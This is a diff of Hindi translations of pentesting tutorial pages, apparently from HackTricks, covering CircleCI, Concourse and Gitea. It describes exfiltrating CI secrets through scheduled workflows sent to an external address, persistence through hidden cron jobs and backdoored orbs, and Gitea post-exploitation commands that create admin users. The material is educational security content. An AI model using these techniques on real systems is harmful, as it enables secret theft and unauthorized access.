> अभी यह secrets की **security** बढ़ाने के सबसे अच्छे तरीकों में से एक है, ताकि हर को उन्हें access न कर सके बल्कि सिर्फ कुछ लोग ही कर सकें
### हमले
### Attacks
#### स्पष्ट पाठ रहस्यों की खोज
#### Search Clear Text Secrets
यदि आपके पास **VCS** (जैसे github) **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की `.circleci/config.yml` फ़ाइल की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**
अगर आपके पास **VCS** (जैसे github) क **access** है, तो हर repo की हर branch पर `.circleci/config.yml` file देखें और वहां stored संभावित **clear text secrets** को **search** करें
#### रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना
#### Secret Env Vars & Context enumeration
कोड की जाच करसमय आप **सभी रहस्य नाम** पा सकते हैं जो प्रत्येक `.circleci/config.yml` फ़ाइल में **उपयोग** किए जा रहे हैं। आप फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_
code की जाच करआप हर `.circleci/config.yml` file में **used** सभी secrets names पा सकते हैं। आप files से **context names** भी निकाल सकते हैं या web console में उन्हें देख सकते हैं: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
#### प्रोजेक्ट रहस्यों को निकालना
#### Exfiltrate Project secrets
> [!WARNING]
> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की अनुमति होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होन चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)
> सभी project और context **SECRETS** को **exfiltrate** करने के लिए, आपको पूरे github org में सिर्फ 1 repo पर केवल **WRITE** access चाहिए (_और आपके account को contexts तक access होन चाहिए, लेकिन default में हर को हर context को access कर सकता है_).
> [!CAUTION]
> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स को इंपोर्ट** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**
> "**Import Variables**" functionality आपको दूसरे projects से variables को इस one में **import** करने की अनुमति देती है। इसलिए, एक attacker सभी repos से सभी project variables को **import** कर सकता है और फिर उन सभी को एक साथ **exfiltrate** कर सकता है।
सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और से base64 में छिपाना रहस्यों को **कार्यप्रवाह वेब लॉग कंसोल** में निकाल देगा:
सभी project secrets हमेशा jobs के env में set होते हैं, इसलिए बस env को call करके और से base64 में obfuscate करके secrets को **workflows web log console** में exfiltrate किया जा सकता है:
```yaml
version: 2.1
@@ -114,7 +114,7 @@ exfil-env-workflow:
jobs:
- exfil-env
```
यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते है कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो बना सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**:
यदि आपके पास **web console तक पहुंच नहीं है** लेकिन आपके पास **repo तक पहुंच** है और आपको पता है कि CircleCI इस्तेमाल हो रहा है, तो आप बस एक **workflow** बना सकते हैं जो **हर minute trigger** हो और जो **secrets को external address पर exfil** करे:
```yaml
version: 2.1
@@ -141,9 +141,9 @@ only:
jobs:
- exfil-env
```
#### Exfiltrate Context Secrets
#### Context Secrets Exfiltrate करें
आपको **संदर्भ नाम निर्दिष्ट करना होगा** (यह परियोजना के रहस्यों को भी बाहर निकालेगा):
आपको **context name** specify करना होगा (इससे project secrets भी exfiltrate हो जाएंगे):
```yaml
version: 2.1
@@ -163,7 +163,7 @@ jobs:
- exfil-env:
context: Test-Context
```
यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो को संशोधित कर सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**:
यदि आपके पास **web console तक access नहीं है** लेकिन आपके पास **repo तक access** है और आप जानते हैं कि CircleCI इस्तेमाल हो रहा है, तो आप बस एक **workflow** को **modify** कर सकते हैं जो **हर minute trigger** होता है और जो **secrets को एक external address पर exfil** करता है:
```yaml
version: 2.1
@@ -192,14 +192,14 @@ jobs:
context: Test-Context
```
> [!WARNING]
> एक नया `.circleci/config.yml` बनाना **circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है**। आपको **इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा**
> बस एक नया `.circleci/config.yml` repo में बनाना **circleci build को trigger करने के लिए पर्याप्त नहीं है**। आपको इसे **circleci console में एक project के रूप में enable** करना होगा।
#### क्लाउड में एस्केप
#### Cloud में Escape
**CircleCI** आपको **अपने बिल्ड को उनकी मशीनों या अपनी मशीनों में चलाने का विकल्प देता है**।\
डिफ़ॉल्ट रूप से, उनकी मशीनें GCP में स्थित हैं, और आप प्रारंभ में कुछ प्रासंगिक नहीं पा सकेंगे। हालाकि, यदि एक पीड़ित **अपनी मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप **दिलचस्प जानकारी के साथ एक क्लाउड मेटाडेटा एंडपॉइंट** पा सकत है
**CircleCI** आपको **अपने builds को उनकी machines पर या अपनी machines पर** run करने का option देता है।\
By default उनकी machines GCP में located होती हैं, और initially आपको कुछ relevant नहीं मिलेगा। हालाकि, अगर victim tasks को **अपनी machines पर** चला रहा है (संभवतः, एक cloud env में), तो आपको एक **cloud metadata endpoint** interesting information के साथ मिल सकत है।
ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप **एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं** (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं):
ध्यान दें कि पिछले examples में सब कुछ एक docker container के अंदर launch किया गया था, लेकिन आप **एक VM machine launch करने के लिए भी ask** कर सकते हैं (जिसकी cloud permissions अलग हो सकती हैं):
```yaml
jobs:
exfil-env:
@@ -208,7 +208,7 @@ exfil-env:
machine:
image: ubuntu-2004:current
```
या तो एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता:
या फिर एक docker container, जिसमें remote docker service तक access:
```yaml
jobs:
exfil-env:
@@ -221,15 +221,15 @@ version: 19.03.13
```
#### Persistence
- CircleCI में API endpoints तक उपयोगकर्ता की पहुंच के साथ **उपयोगकर्ता टोकन** **बनाना** संभव है।
- CircleCI में API endpoints तक user access के साथ पहुंचने के लिए **user tokens बनाना** संभव है।
- _https://app.circleci.com/settings/user/tokens_
- **प्रोजेक्ट टोकन** बनाना संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके
- दिए गए token permissions के साथ project तक पहुंचने के लिए **project tokens बनाना** संभव है
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- प्रोजेक्ट में **SSH कुंजी** जोड़ना संभव है।
- projects में **SSH keys जोड़ना** संभव है।
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा** में **क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** vars **ली** कर रहा ह
- या यहां तक कि एक शाखा में बनाना / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स सीक्रेट्स** **लीक** करेगा
- यदि आप एक गिटहब मालिक हैं तो आप **असत्यापित ऑर्ब्स** की अनुमति दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं
- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और सके मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं
- किसी unexpected project में hidden branch पर एक **cron job बनाना** संभव है, जो हर दिन सभी **context env** vars क**leak** कर रहा ह
- या फिर किसी branch में एक known job बनाकर / modify करके ऐसा करना, जो हर दिन सभी context और **projects secrets** को **leak** करे।
- अगर आप github owner हैं, तो आप **unverified orbs allow** कर सकते हैं और किसी job में उन्हें **backdoor** के रूप में configure कर सकते हैं
- आप कुछ task में **command injection vulnerability** पा सकते हैं और सके value को modify करके किसी **secret** के जरिए commands **inject** कर सकते हैं
{{#include ../banners/hacktricks-training.md}}
@@ -1,35 +1,37 @@
# Concourse Architecture
# Concourse आर्किटेक्चर
{{#include ../../banners/hacktricks-training.md}}
## Concourse Architecture
## Concourse आर्किटेक्चर
[**Concourse दस्तावेज़ से संबंधित डेटा:**](https://concourse-ci.org/internals.html)
### Architecture
![](<../../images/image (187).png>)
[**Concourse documentation से संबंधित डेटा:**](https://concourse-ci.org/internals.html)
#### ATC: वेब UI और निर्माण शेड्यूल
### आर्किटेक्च
ATC Concourse का दिल है। यह **वेब UI और API** चलाता है और सभी पाइपलाइन **शेड्यूलिंग** के लिए जिम्मेदार है। यह **PostgreSQL** से जुड़ता है, जिसका उपयोग यह पाइपलाइन डेटा (निर्माण लॉग सहित) संग्रहीत करने के लिए करता है।
![Concourse architecture diagram with load balancer, ATC, TSA, Beacon, Garden, and Baggageclaim components](<../../images/image (187).png>)
[checker](https://concourse-ci.org/checker.html) की जिम्मेदारी नए संसाधनों के संस्करणों की लगातार जांच करना है। [scheduler](https://concourse-ci.org/scheduler.html) किसी नौकरी के लिए निर्माणों को शेड्यूल करने के लिए जिम्मेदार है और [build tracker](https://concourse-ci.org/build-tracker.html) किसी भी शेड्यूल किए गए निर्माणों को चलाने के लिए जिम्मेदार है। [garbage collector](https://concourse-ci.org/garbage-collector.html) किसी भी अप्रयुक्त या पुरानी वस्तुओं, जैसे कंटेनरों और वॉल्यूम को हटाने के लिए सफाई तंत्र है।
#### ATC: web UI & build scheduler
#### TSA: कार्यकरता पंजीकरण और अग्रेषण
ATC, Concourse का core है। यह **web UI and API** चलाता है और सभी pipeline **scheduling** के लिए जिम्मेदार है। यह **PostgreSQL से connect** करता है, जिसका उपयोग यह pipeline data (including build logs) स्टोर करने के लिए करता है।
TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से **पंजीकरण** करने के लिए किया जाता है।
[checker](https://concourse-ci.org/checker.html) की जिम्मेदारी नए resource versions को लगातार check करना है। [scheduler](https://concourse-ci.org/scheduler.html) किसी job के लिए builds schedule करने के लिए जिम्मेदार है, और [build tracker](https://concourse-ci.org/build-tracker.html) किसी भी scheduled builds को चलाने के लिए जिम्मेदार है। [garbage collector](https://concourse-ci.org/garbage-collector.html) cleanup mechanism है, जो unused या outdated objects, जैसे containers और volumes, को हटाता है।
TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ स्थित होता है और लोड बैलेंसर के पीछे होता है।
#### TSA: worker registration & forwarding
**TSA SSH कनेक्शन के माध्यम से CLI लागू करता है,** [**इन आदेशों**](https://concourse-ci.org/internals.html#component-tsa) का समर्थन करता है।
TSA एक **custom-built SSH server** है, जिसका उपयोग केवल [**workers**](https://concourse-ci.org/internals.html#architecture-worker) को [**ATC**](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से **register** करने के लिए किया जाता है।
TSA **default** रूप से port `2222` पर सुनता है, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ colocated होता है और load balancer के पीछे रहता है।
**TSA, SSH connection के over CLI implement करता है,** और [**these commands**](https://concourse-ci.org/internals.html#component-tsa) को support करता है।
#### Workers
कार्यक्रमों को निष्पादित करने के लिए Concourse के पास कुछ कार्यकर्ता होने चाहिए। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाओं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim) को चलाते हैं।
Tasks execute करने के लिए concourse के पास कुछ workers होने चाहिए। ये workers [TSA](https://concourse-ci.org/internals.html#component-tsa) के जरिए खुद को **register** करते हैं और [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim) services चलाते हैं।
- **Garden**: यह **Container Manage API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7777** पर चलता है।
- **Baggageclaim**: यह **Volume Management API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7788** पर चलता है।
- **Garden**: यह **Container Manage AP**I है, आमतौर पर **HTTP** के जरिए **port 7777** पर चलता है।
- **Baggageclaim**: यह **Volume Management API** है, आमतौर पर **HTTP** के जरिए **port 7788** पर चलता है।
## References
+56 -56
View File
@@ -1,130 +1,130 @@
# Gitea सुरक्षा
# Gitea Security
{{#include ../../banners/hacktricks-training.md}}
## Gitea क्या है
**Gitea** एक **स्व-होस्टेड समुदाय द्वारा प्रबंधित हल्का कोड होस्टिंग** समाधान है जो Go में लिखा गया है।
**Gitea** एक **self-hosted community managed lightweight code hosting** solution है, जो Go में लिखा गया है।
![](<../../images/image (160).png>)
![Gitea repository page showing files, branches, commits, tags, and repository statistics](<../../images/image (160).png>)
### बुनियादी जानकारी
### Basic Information
{{#ref}}
basic-gitea-information.md
{{#endref}}
## प्रयोगशाला
## Lab
स्थानीय रूप से Gitea उदाहरण चलाने के लिए आप बस एक डॉकर कंटेनर चला सकते हैं:
स्थानीय रूप से Gitea instance चलाने के लिए आप बस एक docker container चला सकते हैं:
```bash
docker run -p 3000:3000 gitea/gitea
```
पोर्ट 3000 से कनेक्ट करें ताकि वेब पेज तक पहुंच सकें
Port 3000 से connect करें web page access करने के लिए
आप इसे कुबेरनेट्स के साथ भी चला सकते हैं:
आप इसे kubernetes के साथ भी run कर सकते हैं:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
## अनधिकृत गणना
## Unauthenticated Enumeration
- सार्वजनिक रिपॉजिटरी: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- पंजीकृत उपयोगकर्ता: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- पंजीकृत संगठन: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
ध्यान दें कि **डिफ़ॉल्ट रूप से Gitea नए उपयोगकर्ताओं को पंजीकरण करने की अनुमति देता है**। यह नए उपयोगकर्ताओं को अन्य संगठनों/उपयोगकर्ताओं के रिपॉजिटरी पर विशेष रूप से दिलचस्प पहुंच नहीं ेगा, लेकिन एक **लॉग इन उपयोगकर्ता** अधिक **रिपॉजिटरी या संगठनों** को **देखने** में सक्षम हो सकता है।
ध्यान दें कि **default** रूप से Gitea नए users को register करने की अनुमति देता है। इससे नए users को अन्य organizations/users repos पर कोई खास access नहीं मिलेगा, लेकिन एक **logged in user** ज्यादा repos या organizations देख सकता है।
## आंतरिक शोषण
## Internal Exploitation
इस परिदृश्य के लिए हम मानेंगे कि आपने क github खाते तक कुछ पहुंच प्राप्त क है।
इस scenario में हम मानेंगे कि आपने किसी github account तक कुछ access प्राप्त कर लिया है।
### उपयोगकर्ता क्रेडेंशियल्स/वेब कुकी के साथ
### With User Credentials/Web Cookie
यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं (या आपने एक सत्र कुकी चुरा है) तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास **कौन सी अनुमतियाँ** हैं, **कौन से रिपॉजिटरी** में, **कौन से टीमों** में आप हैं, **अन्य उपयोगकर्ताओं की सूची**, और **रिपॉजिटरी कैसे सुरक्षित हैं।**
अगर आपके पास पहले से किसी organization के अंदर किसी user के credentials हैं (या आपने एक session cookie चुरा ली है), तो आप **बस login** कर सकते हैं और देख सकते हैं कि आपके पास किन **repos,** पर कौन-कौन से **permissions** हैं, आप किन **teams** में हैं, अन्य users की **list**, और repos कैसे **protected** हैं।
ध्यान दें कि **2FA का उपयोग किया जा सकत है** इसलिए आप केवल तभी इस जानकारी तक पहुंच सकते हैं यदि आप उस **चेक को भी पास कर सकते हैं**
ध्यान दें कि **2FA** इस्तेमाल की जा सकत है, इसलिए आप यह जानकारी तभी access कर पाएँगे जब आप वह check भी पास कर सकें
> [!NOTE]
> ध्यान दें कि यदि आप **`i_like_gitea` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**
> ध्यान दें कि अगर आप **`i_like_gitea` cookie चुराने में सफल हो जाते हैं** (जो currently SameSite: Lax के साथ configured है), तो आप बिना credentials या 2FA के user को **completely impersonate** कर सकते हैं।
### उपयोगकर्ता SSH कुंजी के साथ
### With User SSH Key
Gitea **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणीकरण विधि** के रूप में उपयोग की जाएग (कोई 2FA लागू नहीं होत)।
Gitea users को **SSH keys** set करने देता है,िन्हें उनकी तरफ से code deploy करने के लिए **authentication method** के रूप में इस्तेमाल किया जाएग (इस पर 2FA लागू नहीं होत)।
इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषाधिकार हैं**, हालाँकि आप इसका उपयोग gitea api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण की गणना की जा सके। हालाकि, आप **स्थानीय सेटिंग्स की गणना कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकहुँच है:
इस key के साथ आप उन repositories में **changes** कर सकते हैं जहाँ user के पास कुछ privileges हैं, लेकि आप इसका इस्तेमाल gitea api access करके environment enumerate करने के लिए नहीं कर सकते। हालाकि, आप local settings enumerate करके उन repos और user के बारे में जानकारी निकाल सकहैं जिनका access आपकास है:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने gitea उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में **जनता कुंजी जो उसने सेट की है** को _https://github.com/\<gitea_username>.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे चेक कर सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है।
यदि user ने अपना username अपने gitea username के रूप में configured किया है, तो आप उसके account में सेट किए गए **public keys** को _https://github.com/\<gitea_username>.keys_ पर access कर सकते हैं, आप इसे check करके confirm कर सकते हैं कि आपने जो private key पाया है, वह इस्तेमाल की जा सकती है।
**SSH कुंजी** को **डिप्लॉय कुंजी** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। स कुंजी तक पहुंच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर, विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको संबंधित कुंजी के बारे में जानकारी देगी
**SSH keys** को repositories में **deploy keys** के रूप में भी set किया जा सकता है। जिस किसी के पास इस key का access होगा, वह **repository से projects launch** कर पाएगा। आमतौर पर अलग-अलग deploy keys वाले server में local file **`~/.ssh/config`** से आपको info मिल जाएगी कि कौन-सी key किससे related है
#### GPG कुंजी
#### GPG Keys
जैसा कि [**यहां**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं।
जैसा कि [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) में बताया गया है, कभी-कभी commits को sign करना ज़रूरी होता है, या आप पकड़े जा सकते हैं।
स्थानीय रूप से चेक करें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है:
लोकल रूप से check करें कि current user के पास कोई key है या नहीं:
```shell
gpg --list-secret-keys --keyid-format=long
```
### With User Token
[**यूजर टोकन के बारे में मूल जानकारी के लिए यहाँ देखें**](basic-gitea-information.md#personal-access-tokens)।
[**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens) के बारे में परिचय के लिए
एक यूजर टोकन को **पासवर्ड के बजाय** Gitea सर्वर के खिलाफ **प्रमाणित** करने के लिए उपयोग किया जा सकता है [**API के माध्यम से**](https://try.gitea.io/api/swagger#/)। इसके पास यूजर पर **पूर्ण पहुंच** होग
एक user token को **password के बजाय** Gitea server के खिलाफ [**via API**](https://try.gitea.io/api/swagger#/) **authenticate** करने के लिए इस्तेमाल किया जा सकता है। इसका **user पर complete access** होग
### With Oauth Application
[**Gitea Oauth एप्लिकेशन के बारे में मूल जानकारी के लिए यहाँ देखें**](./#with-oauth-application)।
[**Gitea Oauth Applications check the basic information**](#with-oauth-application) के बारे में परिचय के लिए
एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन यूजर्स के विशेष डेटा/क्रियाओं तक पहुंच प्राप्त कर सके जो संभवतः उन्हें एक फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं
एक attacker एक **malicious Oauth Application** बना सकता है ताकि उन users के privileged data/actions तक पहुंच सके जो इसे accept करते हैं, संभवतः एक phishing campaign के हिस्से के रूप में।
जैसा कि मूल जानकारी में बताया गया है, एप्लिकेशन के पास **यूजर खाते पर पूर्ण पहुंच** होग
जैसा कि basic information में बताया गया है, application के पास **user account पर full access** होग
### Branch Protection Bypass
Github में हमारे पास **github actions** हैं जो डिफ़ॉल्ट रूप से **लेखन पहुंच** के साथ एक **टोकन** प्राप्त करते हैं जिसका उपयोग **ब्रांच सुरक्षा को बायपास** करने के लिए किया जा सकता है। इस मामले में यह **मौजूद नहीं ह**, इसलिए बायपास अधिक सीमित हैं। लेकिन चलिए देखते हैं कि क्या किया जा सकता है:
Github में हमारे पास **github actions** हैं, जो by default repo पर **write access** वाला **token** प्राप्त करते हैं, और इसका इस्तेमाल **branch protections bypass** करने के लिए किया जा सकता है। इस case में ऐसा **नहीं होता**, इसलिए bypasses ज़्यादा limited हैं। लेकिन देखते हैं क्या किया जा सकता है:
- **पुश सक्षम करें**: यदि किसी के पास ब्रांच पर पुश करने की लेखन पहुंच है, तो बस इसे पुश करें।
- **प्रतिबंधित पुश के लिए व्हाइटलिस्ट**: इसी तरह, यदि आप इस सूची का हिस्सा हैं तो ब्रांच पर पुश करें।
- **मर्ज व्हाइटलिस्ट सक्षम करें**: यदि एक मर्ज व्हाइटलिस्ट है, तो आपको सके अंदर होना चाहिए।
- **अनुमोदनों की आवश्यकता 0 से अधिक है**: फिर... आपको एक अन्य उपयोगकर्ता से समझौता करना होगा
- **व्हाइटलिस्टेड के लिए अनुमोदनों को प्रतिबंधित करें**: यदि केवल व्हाइटलिस्टेड उपयोगकर्ता अनुमोदित कर सकते हैं... तो आपको उस सूची में एक अन्य उपयोगकर्ता से समझौता करना होगा
- **पुराने अनुमोदनों को खारिज करें**: यदि अनुमोदन नए कमिट के साथ हटा नहीं दिए जाते हैं, तो आप पहले से अनुमोदित PR को हाईजैक कर सकते हैं ताकि अपना कोड इंजेक्ट कर सकं और PR को मर्ज कर सकं।
- **Enable Push**: अगर write access वाला कोई भी व्यक्ति branch पर push कर सकता है, तो सीधे उस पर push करें।
- **Whitelist Restricted Pus**h: इसी तरह, अगर आप इस list का हिस्सा हैं, तो branch पर push करें।
- **Enable Merge Whitelist**: अगर merge whitelist है, तो आपको सके अंदर होना होगा
- **Require approvals is bigger than 0**: तब... आपको किसी दूसरे user को compromise करना होगा
- **Restrict approvals to whitelisted**: अगर सिर्फ whitelisted users ही approve कर सकते हैं... तो आपको उस list के अंदर मौजूद किसी दूसरे user को compromise करना होगा
- **Dismiss stale approvals**: अगर नए commits के साथ approvals remove नहीं होते, तो आप पहले से approved PR को hijack करके अपना code inject कर सकते हैं और PR merge कर सकते हैं।
ध्यान दें कि **यदि आप एक संगठन/रेपो प्रशासक हैं** तो आप सुरक्षा को बायपास कर सकते हैं।
ध्यान दें कि **अगर आप org/repo admin हैं** तो आप protections bypass कर सकते हैं।
### Enumerate Webhooks
**वेबहुक्स** कुछ स्थानों पर **विशिष्ट gitea जानकारी भेजने में सक्षम हैं**। आप उस संचार **शोषण** करने में सक्षम हो सकते हैं।\
हालांकि, आमतौर पर एक **गुप्त** सेट किया जाता है जिसे आप **प्राप्त नहीं कर सकते** हैं **वेबहुक** में जो बाहरी उपयोगकर्ताओं को **उस वेबहुक का शोषण** करने से **रोकता** है जो URL जानते हैं लेकिन गुप्त नहीं जानते।\
लेकिन कुछ अवसरों पर, लोग **गुप्त** को सके स्थान पर सेट करने के बजाय, से **URL** में एक पैरामीटर के रूप में सेट करते हैं, इसलिए **URLs की जांच करना** आपको **गुप्त जानकारी** और अन्य स्थानों को खोजने की अनुमति दे सकत है जहाँ आप आगे शोषण कर सकत है
**Webhooks** कुछ जगहों पर **specific gitea information भेजने** में सक्षम होते हैं। आप उस communication **exploit** करने में सक्षम हो सकते हैं।\
हालांकि, आमतौर पर **secret** जो आप **retrieve नहीं कर सकते** उसे **webhook** में set किया जाता है, जो external users को, जो webhook का URL जानते हैं लेकिन secret नहीं, उस webhook को **exploit** करने से **रोकता** है।\
लेकिन कुछ मामलों में, लोग **secret** को सकी जगह set करने के बजाय, से parameter के रूप में **URL** में set कर देते हैं, इसलिए **URLs की जांच** करके आप **secrets** और अन्य places ढूंढ सकत हैिन्हें आगे exploit किया जा सकत है।
वेबहुक्स को **रेपो और संगठन स्तर पर** सेट किया जा सकता है।
Webhooks को **repo और org level** पर set किया जा सकता है।
## Post Exploitation
### Inside the server
यदि आप किसी तरह उस सर्वर के अंदर पहुच गए जहा gitea चल रहा है, तो आपको gitea कॉन्फ़िगरेशन फ़ाइल के लिए खोज करनी चाहिए। डिफ़ॉल्ट रूप से यह `/data/gitea/conf/app.ini` में स्थित है
अगर किसी तरह आप उस server के अंदर पहुच गए हैं जहा gitea चल रहा है, तो आपको gitea configuration file खोजना चाहिए। By default यह `/data/gitea/conf/app.ini` में located है
इस फ़ाइल में आप **कुंजी** और **पासवर्ड** पा सकते हैं।
इस file में आप **keys** और **passwords** पा सकते हैं।
gitea पथ (डिफ़ॉल्ट: /data/gitea) में आप भी दिलचस्प जानकारी पा सकते हैं जैसे:
gitea path (by default: /data/gitea) में आप और भी interesting information पा सकते हैं जैसे:
- **sqlite** DB: यदि gitea एक बाहरी db का उपयोग नहीं कर रहा है, तो यह एक sqlite db का उपयोग करेगा
- **सत्र** सत्र फ़ोल्डर के अंदर: `cat sessions/*/*/*` चलाकर आप लॉग इन किए गए उपयोगकर्ताओं के उपयोगकर्ता नाम देख सकते हैं (gitea सत्रों को DB के अंदर भी सहेज सकता है)
- **jwt निजी कुंजी** jwt फ़ोल्डर के अंदर
- इस फ़ोल्डर में अधिक **संवेदनशील जानकारी** मिल सकती है
- **sqlite** DB: अगर gitea external db का use नहीं कर रहा है, तो वह sqlite db use करेगा
- **sessions** sessions folder के अंदर: `cat sessions/*/*/*` चलाकर आप logged users के usernames देख सकते हैं (gitea sessions को DB में भी save कर सकता है).
- **jwt private key** jwt folder के अंदर
- इस folder में और भी **sensitive information** मिल सकती है
यदि आप सर्वर के अंदर हैं, तो आप **जानकारी तक पहुँचने/संशोधित करने के लिए `gitea` बाइनरी** का भी उपयोग कर सकते हैं:
अगर आप server के अंदर हैं, तो आप information access/modify करने के लिए **`gitea` binary** का भी use कर सकते हैं:
- `gitea dump` gitea को डंप करेगा और एक .zip फ़ाइल बनाएगा
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` निर्दिष्ट प्रकार (स्थायी) का एक टोकन उत्पन्न करेगा।
- `gitea admin user change-password --username admin --password newpassword` पासवर्ड बदलें
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` नया प्रशासक उपयोगकर्ता बनाए और एक एक्सेस टोकन प्राप्त करें
- `gitea dump` gitea को dump करेगा और एक .zip file generate करेगा
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` indicated type का token generate करेगा (persistence)
- `gitea admin user change-password --username admin --password newpassword` password बदलें
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` नया admin user बनाए और एक access token प्राप्त करें
{{#include ../../banners/hacktricks-training.md}}
@@ -4,100 +4,100 @@
## Basic Structure
